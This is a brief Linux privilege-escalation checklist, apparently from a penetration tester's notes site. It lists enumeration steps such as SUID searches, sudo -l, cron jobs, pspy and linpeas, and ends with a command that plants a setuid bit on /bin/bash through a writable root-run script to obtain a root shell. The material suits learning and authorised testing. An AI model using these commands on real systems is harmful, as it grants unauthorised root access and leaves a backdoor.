Checklist (priv esc)

Note: Linux page has few notes if you missed it

Linux

  1. Check linux OS version

  2. Check kernel version (uname -a)

  3. Check sudo binary (find / -perm -4000 -ls >2/dev/null)

  4. sudo -l to check if any sudo bit is enabled for that user

    1. check : https://gtfobins.github.io/ for sudo binary exploits

  5. check cron jobs (/etc/cronjobs)

    1. well if you cant check root's cronjob directly ....... pspy might help

    2. run grep -nrw /dir/to/search/in -e "/path/of/script_or_file 2>/dev/null" to check if any file runs/uses the file.

  6. run pspy64 script (https://github.com/DominicBreuker/pspy)

  7. run linpeas (https://github.com/carlospolop/PEASS-ng/releases/tag/20231203-9cdcb38f)

Edit access on sudo script

echo 'chmod u+s /bin/bash' > /path/to/script/file.sh

#then type
/bin/bash -p #to get root shell

PreviousLinuxNextWindows

Last updated